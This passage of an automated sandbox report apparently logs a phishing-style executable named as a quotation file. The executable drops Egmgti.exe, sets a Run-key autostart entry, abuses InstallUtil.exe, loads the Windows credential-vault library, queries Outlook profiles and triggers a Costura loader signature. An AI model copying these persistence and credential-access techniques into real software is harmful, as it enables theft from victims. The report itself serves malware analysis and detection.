Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1315500116.00000000066C0000.00000004.08000000.00040000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003E55000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.000000000334B000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003D98000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003167000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1537444101.0000000003D28000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003169000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1293164853.00000000033F3000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1315500116.00000000066C0000.00000004.08000000.00040000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1311199102.0000000004128000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003E55000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1422897756.000000000334B000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003D98000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003167000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1537444101.0000000003D28000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000D.00000002.1505625261.0000000003169000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, 00000000.00000002.1314472797.00000000063E0000.00000004.08000000.00040000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000004253000.00000004.00000800.00020000.00000000.sdmp, Egmgti.exe, 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, --.cs	.Net Code: _0003 System.AppDomain.Load(byte[])
Source: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe, ---.cs	.Net Code: _0003

Yara detected Costura Assembly Loader

Source: Yara match	File source: 13.2.Egmgti.exe.400d840.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe.6370000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.419d840.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Egmgti.exe.404da00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1537444101.000000000400D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1314285798.0000000006370000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293164853.00000000030D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1422897756.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1505625261.0000000002C48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1447777851.0000000003F79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe PID: 7256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 7972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Egmgti.exe PID: 5864, type: MEMORYSTR

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_062D2EA7 push esp; retf	0_2_062D2EA8
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064824D0 push es; ret	0_2_06482580
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0648B1FA pushad ; ret	0_2_0648B201
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0648BAD0 push es; retf	0_2_0648BAD4
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649C456 push es; ret	0_2_0649C460
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_0649C476 push es; iretd	0_2_0649C484
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06499999 push es; iretd	0_2_064999B0
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064999B6 push es; retf	0_2_064999E4
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CC4D0 push esp; retf	0_2_064CC4DD
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CFD68 push es; ret	0_2_064CFD6C
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CD228 push es; retf	0_2_064CD244
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_064CE932 push es; ret	0_2_064CE934
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Code function: 0_2_06790488 push E8000001h; iretd	0_2_0679048D
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_02C04680 push ecx; ret	10_2_02C04676
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_060A2EA7 push esp; retf	10_2_060A2EA8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0625B1FB pushad ; ret	10_2_0625B201
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626C476 push es; iretd	10_2_0626C484
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0626C456 push es; ret	10_2_0626C460
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_062699B6 push es; retf	10_2_062699E4
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06269999 push es; iretd	10_2_062699B0
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629D601 push es; retf	10_2_0629D620
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629EEF8 pushad ; retf	10_2_0629EF05
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_0629F299 push esp; retf	10_2_0629F2A5
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 10_2_06560488 push E8000001h; iretd	10_2_0656048D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB87D8 push 8BD08B6Dh; retf	11_2_05BB87DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB2019 push cs; retf 0004h	11_2_05BB2022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB6341 push ecx; retf 0004h	11_2_05BB6342
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB1E40 push cs; retf 0004h	11_2_05BB2022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 11_2_05BB6A77 push ebp; retf 0004h	11_2_05BB6A7A
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05D62EA7 push esp; retf	13_2_05D62EA8
Source: C:\Users\user\AppData\Roaming\Egmgti.exe	Code function: 13_2_05F1B1FA pushad ; ret	13_2_05F1B201

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

File created: C:\Users\user\AppData\Roaming\Egmgti.exe

Jump to dropped file

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Egmgti			Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Egmgti			Jump to behavior

Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
